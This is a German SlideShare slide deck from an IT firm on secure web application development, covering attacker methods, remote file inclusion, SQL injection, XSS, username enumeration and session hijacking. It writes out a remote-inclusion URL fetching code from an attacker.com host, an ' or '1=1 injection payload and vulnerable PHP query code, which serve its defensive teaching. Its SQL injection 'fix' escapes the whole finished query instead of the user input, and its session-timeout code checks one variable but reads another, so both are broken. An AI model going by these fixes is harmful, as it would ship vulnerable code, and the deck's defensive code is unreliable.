SlideShare ist ein Scribd-Unternehmen logo
1 von 25
it- und medienlösungen - individuell wie sie.




   Webapplikationen
sicher konzipieren und
    programmieren
it- und medienlösungen - individuell wie sie.




IT-Sicherheit ist ein stetiger Prozess




    Verhinderung      Überwachung        Reaktion
it- und medienlösungen - individuell wie sie.




Verhinderung
  Maßnahmen die versuchen, einen Angriff effektiv im
  Voraus zu verhindern.

■ Firewalls
■ Access Controll Lists
■ Rechtemanagement
it- und medienlösungen - individuell wie sie.




Überwachung
  Maßnahmen die einen Angriff im System erkennen
  sollen.

■ Intrusion Detection Systeme
■ Netzwerksicherheit Monitore
■ Traffic Anomalien
it- und medienlösungen - individuell wie sie.




Reaktion
  Maßnahmen bei einem Angriff.

■ Server offline nehmen
■ Backup ziehen
■ Schwachstellen analysieren
it- und medienlösungen - individuell wie sie.




Wie geht ein Hacker vor?
  Vergleichbar mit einem Einsatz im Krieg

■ Ziel auskundschaften
■ Schwachstellen ausfindig machen
■ Schwachstellen ausnutzen
■ Position sichern
it- und medienlösungen - individuell wie sie.




Wie geht ein Hacker vor?
  Im Detail bedeutet dies:

■ Öffentlich zugängliche Logins und Formulare finden
■ Prüfen, ob gefundene Angriffspunkte angreifbar sind
■ Schwachstellen ausnutzen
■ Weitere Zugänge öffnen
it- und medienlösungen - individuell wie sie.




Grundlagen Web Applikationen




GET http://..../index.html                  HTML




                             PowerBook G4
it- und medienlösungen - individuell wie sie.




Grundlagen Web Applikationen


                               SQL

   PHP, Ruby, ...




              PowerBook G4
it- und medienlösungen - individuell wie sie.




Ziele eines Hackers

■ Webseite manipulieren
■ Datenbank manipulieren
■ Server für seine Zwecke nutzen
■ Informationen ausspionieren
it- und medienlösungen - individuell wie sie.




Wege eines Hackers
Sicherheitslücken in

■ Serversoftware (Betriebssystem)
■ Application Server (Apache, PHP, mySQL)
■ eigentlichem Skript / Programm
it- und medienlösungen - individuell wie sie.




Wege eines Hackers
Sicherheitslücken in

■ Serversoftware (Betriebssystem)
■ Application Server (Apache, PHP, mySQL)
■ eigentlichem Skript / Programm
it- und medienlösungen - individuell wie sie.




Remote code execution

■ PHP-Einstellungen:
 ■ register_globals
 ■ allow_url_fopen
 ■ safe_mode
it- und medienlösungen - individuell wie sie.




Remote code execution
Folgender Angriff soll verhindert werden:


http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt


==> require ($page);
it- und medienlösungen - individuell wie sie.




Remote code execution
Deaktivieren von register_globals


http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt


==> require ($GET[`page`]);
it- und medienlösungen - individuell wie sie.




Remote code execution
Deaktivieren von allow_url_fopen



GELÖST!

Kein include/require von einer fremden URL mehr
möglich.
it- und medienlösungen - individuell wie sie.




SQL Injection


             admin




<?php

$query = “SELECT * FROM users WHERE username = ‘{$_POST[‘username‘]}‘“;

$result = mysql_query($query);

?>
it- und medienlösungen - individuell wie sie.




SQL Injection


             ‘ or ‘1=1




<?php

$query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“;

$result = mysql_query($query);

?>
it- und medienlösungen - individuell wie sie.




SQL Injection


             ‘ or ‘1=1




<?php

$query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“;

$result = mysql_query(mysql_real_escape_string($query));

?>
it- und medienlösungen - individuell wie sie.




SQL Injection



Die TYPO3 - API macht das von selbst!



Deshalb: API-Funktionen verwenden und
Datenbankzugriffe nicht selbst schreiben.



Testen mit: SQL Inject Me (Firefox Extension)
it- und medienlösungen - individuell wie sie.




Cross Site Scripting
Gleicher Ansatz wie bei SQL Injection, nur dass
bösartiger JavaScript Code ausgeführt wird.



Ziel: Stehlen von Sessions und/oder Cookies
it- und medienlösungen - individuell wie sie.




Username enumeration
Erraten von Benutzername / Passwort Kombinationen



Der angegebene Login existiert nicht.



Die angegebene Kombination aus Benutzername und
Passwort ist falsch.
it- und medienlösungen - individuell wie sie.




Session highjacking



Übernahme einer fremden Session.



Geht man weiter: Erlangen von zusätzlichen Rechten
it- und medienlösungen - individuell wie sie.




Session highjacking



Was ist in einem Cookie gespeichert?

  Ausschließlich eine Session ID
Alles andere wird serverseitig gelöst.
it- und medienlösungen - individuell wie sie.




Session highjacking

session_start();

// set timeout period in seconds
$inactive = 600;

// check to see if $_SESSION['timeout'] is set
if(isset($_SESSION['timeout']) ) {
   $session_life = time() - $_SESSION['start'];
   if($session_life > $inactive)
         { session_destroy(); header("Location: logoutpage.php"); }
}

$_SESSION['start'] = time();

Weitere ähnliche Inhalte

Andere mochten auch

Los medios y tecnologías en la educación escolar
Los medios y tecnologías en la educación escolarLos medios y tecnologías en la educación escolar
Los medios y tecnologías en la educación escolar
Amintaz
 
Plantilla de autoevaluación_ billy_ vega
Plantilla de  autoevaluación_ billy_ vegaPlantilla de  autoevaluación_ billy_ vega
Plantilla de autoevaluación_ billy_ vega
Billyneitor Man
 
Hip hop&alvaro
Hip hop&alvaroHip hop&alvaro
Hip hop&alvaro
chusty
 
Exposicion redaccion de cuestionarios mac daniel gates
Exposicion redaccion de cuestionarios mac daniel gatesExposicion redaccion de cuestionarios mac daniel gates
Exposicion redaccion de cuestionarios mac daniel gates
Edwin Giraldo Restrepo
 
Sequence number archery 2015
Sequence number archery 2015Sequence number archery 2015
Sequence number archery 2015
mohdfathi
 
Feudalismo 2º eso
Feudalismo 2º esoFeudalismo 2º eso
Feudalismo 2º eso
GRANADA
 

Andere mochten auch (20)

Desde el aire
Desde el aireDesde el aire
Desde el aire
 
Los medios y tecnologías en la educación escolar
Los medios y tecnologías en la educación escolarLos medios y tecnologías en la educación escolar
Los medios y tecnologías en la educación escolar
 
2017 casa de simeón
2017 casa de simeón2017 casa de simeón
2017 casa de simeón
 
Plantilla ppp presentacion-san gabriel
Plantilla ppp presentacion-san gabrielPlantilla ppp presentacion-san gabriel
Plantilla ppp presentacion-san gabriel
 
Efecto mariposa
Efecto mariposaEfecto mariposa
Efecto mariposa
 
Transferencia de imagenes_mir
Transferencia de imagenes_mirTransferencia de imagenes_mir
Transferencia de imagenes_mir
 
Florenz - Kunst und Macht
Florenz - Kunst und MachtFlorenz - Kunst und Macht
Florenz - Kunst und Macht
 
Guia de triangulos
Guia de triangulosGuia de triangulos
Guia de triangulos
 
Plantilla de autoevaluación_ billy_ vega
Plantilla de  autoevaluación_ billy_ vegaPlantilla de  autoevaluación_ billy_ vega
Plantilla de autoevaluación_ billy_ vega
 
Hip hop&alvaro
Hip hop&alvaroHip hop&alvaro
Hip hop&alvaro
 
deber
deberdeber
deber
 
Exposicion redaccion de cuestionarios mac daniel gates
Exposicion redaccion de cuestionarios mac daniel gatesExposicion redaccion de cuestionarios mac daniel gates
Exposicion redaccion de cuestionarios mac daniel gates
 
Egipto
EgiptoEgipto
Egipto
 
Correo electrónico
Correo electrónicoCorreo electrónico
Correo electrónico
 
Nationalstolzpdf
NationalstolzpdfNationalstolzpdf
Nationalstolzpdf
 
Sequence number archery 2015
Sequence number archery 2015Sequence number archery 2015
Sequence number archery 2015
 
Investor Relations 2.0 – Facebook, Twitter, Blogs, Wikis und Bewegtbilder - F...
Investor Relations 2.0 – Facebook, Twitter, Blogs, Wikis und Bewegtbilder - F...Investor Relations 2.0 – Facebook, Twitter, Blogs, Wikis und Bewegtbilder - F...
Investor Relations 2.0 – Facebook, Twitter, Blogs, Wikis und Bewegtbilder - F...
 
LA IGLESIA Y SU TAREA DE GANAR ALMAS/FRANCISCO DE LA PEÑA CANTILLO
LA IGLESIA Y SU TAREA DE GANAR ALMAS/FRANCISCO DE LA PEÑA CANTILLOLA IGLESIA Y SU TAREA DE GANAR ALMAS/FRANCISCO DE LA PEÑA CANTILLO
LA IGLESIA Y SU TAREA DE GANAR ALMAS/FRANCISCO DE LA PEÑA CANTILLO
 
Mein studium
Mein studiumMein studium
Mein studium
 
Feudalismo 2º eso
Feudalismo 2º esoFeudalismo 2º eso
Feudalismo 2º eso
 

Ähnlich wie Web Applikations Security

Lightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPALightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPA
mh0708
 
Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12
Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12
Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12
Stephan Hochdörfer
 
Ueberlegungen Projektmanagement Web Applications
Ueberlegungen Projektmanagement Web ApplicationsUeberlegungen Projektmanagement Web Applications
Ueberlegungen Projektmanagement Web Applications
Günther Haslbeck
 

Ähnlich wie Web Applikations Security (20)

Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
WordPress Sicherheit
WordPress SicherheitWordPress Sicherheit
WordPress Sicherheit
 
Lightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPALightweight AOP with CDI and JPA
Lightweight AOP with CDI and JPA
 
German: Softwareprodukte aus einem Source Code mit Javascript
German: Softwareprodukte aus einem Source Code mit JavascriptGerman: Softwareprodukte aus einem Source Code mit Javascript
German: Softwareprodukte aus einem Source Code mit Javascript
 
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
DWX 2016 - Monitoring 2.0 - Monitoring 2.0: Alles im Lot?
 
SAP Infotag: Security / Erlebe-Software 07-2014
SAP Infotag: Security / Erlebe-Software 07-2014SAP Infotag: Security / Erlebe-Software 07-2014
SAP Infotag: Security / Erlebe-Software 07-2014
 
Große Applikationen mit AngularJS
Große Applikationen mit AngularJSGroße Applikationen mit AngularJS
Große Applikationen mit AngularJS
 
Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12
Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12
Große Systeme, lose Kopplung, Spaß bei der Arbeit! - WDC12
 
XPages - The Basics
XPages - The BasicsXPages - The Basics
XPages - The Basics
 
Windows 7 - Preview & Roadmap
Windows 7 - Preview & RoadmapWindows 7 - Preview & Roadmap
Windows 7 - Preview & Roadmap
 
PCKeeper Live in German
PCKeeper Live in GermanPCKeeper Live in German
PCKeeper Live in German
 
Gewinnung von OPEN SOURCE Techniken für junge Unternehmen
Gewinnung von OPEN SOURCE Techniken für junge UnternehmenGewinnung von OPEN SOURCE Techniken für junge Unternehmen
Gewinnung von OPEN SOURCE Techniken für junge Unternehmen
 
Top 10 Internet Trends 2006
Top 10 Internet Trends 2006Top 10 Internet Trends 2006
Top 10 Internet Trends 2006
 
Ueberlegungen Projektmanagement Web Applications
Ueberlegungen Projektmanagement Web ApplicationsUeberlegungen Projektmanagement Web Applications
Ueberlegungen Projektmanagement Web Applications
 
Vortrag WordPress absichern beim Webmontag Hannover am 16.01.2017
Vortrag WordPress absichern beim Webmontag Hannover am 16.01.2017Vortrag WordPress absichern beim Webmontag Hannover am 16.01.2017
Vortrag WordPress absichern beim Webmontag Hannover am 16.01.2017
 
Microservice architecture applied. 14 Praxis-Tipps für die Nutzung von Micros...
Microservice architecture applied. 14 Praxis-Tipps für die Nutzung von Micros...Microservice architecture applied. 14 Praxis-Tipps für die Nutzung von Micros...
Microservice architecture applied. 14 Praxis-Tipps für die Nutzung von Micros...
 
Sensitive Daten in der Oracle Datenbank
Sensitive Daten in der Oracle DatenbankSensitive Daten in der Oracle Datenbank
Sensitive Daten in der Oracle Datenbank
 
Ec13 xpages-basic
Ec13 xpages-basicEc13 xpages-basic
Ec13 xpages-basic
 
Icinga 2: Integration von Graphite (Webinar vom 25.09.2014)
Icinga 2: Integration von Graphite (Webinar vom 25.09.2014)Icinga 2: Integration von Graphite (Webinar vom 25.09.2014)
Icinga 2: Integration von Graphite (Webinar vom 25.09.2014)
 
ApplicationPro Flyer deutsch
ApplicationPro Flyer deutschApplicationPro Flyer deutsch
ApplicationPro Flyer deutsch
 

Web Applikations Security

  • 1. it- und medienlösungen - individuell wie sie. Webapplikationen sicher konzipieren und programmieren
  • 2. it- und medienlösungen - individuell wie sie. IT-Sicherheit ist ein stetiger Prozess Verhinderung Überwachung Reaktion
  • 3. it- und medienlösungen - individuell wie sie. Verhinderung Maßnahmen die versuchen, einen Angriff effektiv im Voraus zu verhindern. ■ Firewalls ■ Access Controll Lists ■ Rechtemanagement
  • 4. it- und medienlösungen - individuell wie sie. Überwachung Maßnahmen die einen Angriff im System erkennen sollen. ■ Intrusion Detection Systeme ■ Netzwerksicherheit Monitore ■ Traffic Anomalien
  • 5. it- und medienlösungen - individuell wie sie. Reaktion Maßnahmen bei einem Angriff. ■ Server offline nehmen ■ Backup ziehen ■ Schwachstellen analysieren
  • 6. it- und medienlösungen - individuell wie sie. Wie geht ein Hacker vor? Vergleichbar mit einem Einsatz im Krieg ■ Ziel auskundschaften ■ Schwachstellen ausfindig machen ■ Schwachstellen ausnutzen ■ Position sichern
  • 7. it- und medienlösungen - individuell wie sie. Wie geht ein Hacker vor? Im Detail bedeutet dies: ■ Öffentlich zugängliche Logins und Formulare finden ■ Prüfen, ob gefundene Angriffspunkte angreifbar sind ■ Schwachstellen ausnutzen ■ Weitere Zugänge öffnen
  • 8. it- und medienlösungen - individuell wie sie. Grundlagen Web Applikationen GET http://..../index.html HTML PowerBook G4
  • 9. it- und medienlösungen - individuell wie sie. Grundlagen Web Applikationen SQL PHP, Ruby, ... PowerBook G4
  • 10. it- und medienlösungen - individuell wie sie. Ziele eines Hackers ■ Webseite manipulieren ■ Datenbank manipulieren ■ Server für seine Zwecke nutzen ■ Informationen ausspionieren
  • 11. it- und medienlösungen - individuell wie sie. Wege eines Hackers Sicherheitslücken in ■ Serversoftware (Betriebssystem) ■ Application Server (Apache, PHP, mySQL) ■ eigentlichem Skript / Programm
  • 12. it- und medienlösungen - individuell wie sie. Wege eines Hackers Sicherheitslücken in ■ Serversoftware (Betriebssystem) ■ Application Server (Apache, PHP, mySQL) ■ eigentlichem Skript / Programm
  • 13. it- und medienlösungen - individuell wie sie. Remote code execution ■ PHP-Einstellungen: ■ register_globals ■ allow_url_fopen ■ safe_mode
  • 14. it- und medienlösungen - individuell wie sie. Remote code execution Folgender Angriff soll verhindert werden: http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt ==> require ($page);
  • 15. it- und medienlösungen - individuell wie sie. Remote code execution Deaktivieren von register_globals http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt ==> require ($GET[`page`]);
  • 16. it- und medienlösungen - individuell wie sie. Remote code execution Deaktivieren von allow_url_fopen GELÖST! Kein include/require von einer fremden URL mehr möglich.
  • 17. it- und medienlösungen - individuell wie sie. SQL Injection admin <?php $query = “SELECT * FROM users WHERE username = ‘{$_POST[‘username‘]}‘“; $result = mysql_query($query); ?>
  • 18. it- und medienlösungen - individuell wie sie. SQL Injection ‘ or ‘1=1 <?php $query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“; $result = mysql_query($query); ?>
  • 19. it- und medienlösungen - individuell wie sie. SQL Injection ‘ or ‘1=1 <?php $query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“; $result = mysql_query(mysql_real_escape_string($query)); ?>
  • 20. it- und medienlösungen - individuell wie sie. SQL Injection Die TYPO3 - API macht das von selbst! Deshalb: API-Funktionen verwenden und Datenbankzugriffe nicht selbst schreiben. Testen mit: SQL Inject Me (Firefox Extension)
  • 21. it- und medienlösungen - individuell wie sie. Cross Site Scripting Gleicher Ansatz wie bei SQL Injection, nur dass bösartiger JavaScript Code ausgeführt wird. Ziel: Stehlen von Sessions und/oder Cookies
  • 22. it- und medienlösungen - individuell wie sie. Username enumeration Erraten von Benutzername / Passwort Kombinationen Der angegebene Login existiert nicht. Die angegebene Kombination aus Benutzername und Passwort ist falsch.
  • 23. it- und medienlösungen - individuell wie sie. Session highjacking Übernahme einer fremden Session. Geht man weiter: Erlangen von zusätzlichen Rechten
  • 24. it- und medienlösungen - individuell wie sie. Session highjacking Was ist in einem Cookie gespeichert? Ausschließlich eine Session ID Alles andere wird serverseitig gelöst.
  • 25. it- und medienlösungen - individuell wie sie. Session highjacking session_start(); // set timeout period in seconds $inactive = 600; // check to see if $_SESSION['timeout'] is set if(isset($_SESSION['timeout']) ) { $session_life = time() - $_SESSION['start']; if($session_life > $inactive) { session_destroy(); header("Location: logoutpage.php"); } } $_SESSION['start'] = time();

Hinweis der Redaktion